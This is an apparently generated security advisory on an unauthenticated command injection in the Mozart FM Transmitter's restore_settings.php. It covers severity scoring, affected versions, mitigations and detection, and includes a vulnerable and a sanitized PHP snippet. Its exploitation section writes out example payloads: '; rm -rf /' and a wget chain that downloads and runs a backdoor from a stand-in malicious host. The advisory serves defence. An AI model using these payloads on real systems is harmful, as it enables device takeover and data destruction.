EUVD-2025-199672

Comprehensive Technical Analysis of EUVD-2025-199672

1. Vulnerability Assessment and Severity Evaluation

The vulnerability described in EUVD-2025-199672 is an unauthenticated OS command injection in the restore_settings.php script of DB Electronica Telecomunicazioni S.p.A.'s Mozart FM Transmitter. This vulnerability allows an attacker to execute arbitrary shell commands on the affected system by injecting malicious input into the name parameter, which is passed to the exec() function without proper validation or escaping.

Severity Evaluation:

• Base Score: 9.9 (Critical)
• Base Score Version: 4.0
• Base Score Vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:N/SA:N

The high base score indicates that this vulnerability is critical. The attack vector is network-based (AV:N), requires low complexity (AC:L), and does not need any privileges (PR:N) or user interaction (UI:N). The impact on confidentiality, integrity, and availability is high (VC:H, VI:H, VA:H), and the scope change is high (SC:H).

2. Potential Attack Vectors and Exploitation Methods

Attack Vectors:

• Unauthenticated Remote Code Execution (RCE): An attacker can exploit this vulnerability by sending a crafted HTTP request to the /var/tdf/restore_settings.php endpoint with a malicious name parameter.
• Command Injection: The name parameter is passed through urldecode() and directly into exec(), allowing the injection of shell commands using metacharacters such as ;, |, &&, etc.

Exploitation Methods:

• Direct Command Injection: An attacker can inject commands like ; rm -rf / to delete files or ; wget http://malicious.com/backdoor -O /tmp/backdoor; chmod +x /tmp/backdoor; /tmp/backdoor to download and execute a backdoor.
• Chaining Commands: Using metacharacters, an attacker can chain multiple commands to perform complex actions, such as exfiltrating data or establishing a reverse shell.

3. Affected Systems and Software Versions

The vulnerability affects multiple versions of the Mozart FM Transmitter, including:

• Versions: 30, 50, 100, 300, 500, 1000, 2000, 3000, 3500, 6000, 7000

All these versions are susceptible to the unauthenticated OS command injection vulnerability in the restore_settings.php script.

4. Recommended Mitigation Strategies

Immediate Mitigation:

• Disable the restore_settings.php Endpoint: Temporarily disable the vulnerable endpoint to prevent exploitation.
• Network Segmentation: Isolate the affected systems from the network to limit access.

Long-Term Mitigation:

• Patch Management: Apply the vendor-provided patch as soon as it becomes available.
• Input Validation and Sanitization: Ensure that all user inputs are properly validated and sanitized before being used in system commands.
• Least Privilege Principle: Run the web server with the least privileges necessary to minimize the impact of a successful exploit.
• Regular Security Audits: Conduct regular security audits and code reviews to identify and fix similar vulnerabilities.

5. Impact on European Cybersecurity Landscape

The vulnerability poses a significant risk to the European cybersecurity landscape, particularly for organizations using the Mozart FM Transmitter. The potential for unauthenticated remote code execution can lead to:

• Data Breaches: Sensitive information can be exfiltrated.
• Service Disruption: Critical services can be disrupted or taken offline.
• Compromised Infrastructure: Attackers can gain control over the affected systems, leading to further compromises within the network.

Given the widespread use of FM transmitters in broadcasting and telecommunications, this vulnerability could have far-reaching implications for media outlets, emergency services, and other critical infrastructure.

6. Technical Details for Security Professionals

Vulnerable Code Snippet:

$name = urldecode($_GET["name"]);
exec("some_command $name");

Secure Code Snippet:

$name = urldecode($_GET["name"]);
// Validate and sanitize the input
if (preg_match('/^[a-zA-Z0-9_]+$/', $name)) {
    exec("some_command $name");
} else {
    // Handle invalid input
    die("Invalid input");
}

Detection and Monitoring:

• Log Analysis: Monitor web server logs for suspicious activity, such as unusual command execution or repeated access to the restore_settings.php endpoint.
• Intrusion Detection Systems (IDS): Deploy IDS to detect and alert on potential command injection attempts.
• File Integrity Monitoring: Use file integrity monitoring tools to detect unauthorized changes to critical files.

Incident Response:

• Containment: Isolate affected systems and disable the vulnerable endpoint.
• Eradication: Remove any malicious code or backdoors installed by the attacker.
• Recovery: Restore systems to a known good state and apply necessary patches.
• Post-Incident Analysis: Conduct a thorough analysis to understand the attack vector and improve defenses.

By addressing this vulnerability promptly and implementing robust security measures, organizations can mitigate the risk of exploitation and protect their critical infrastructure.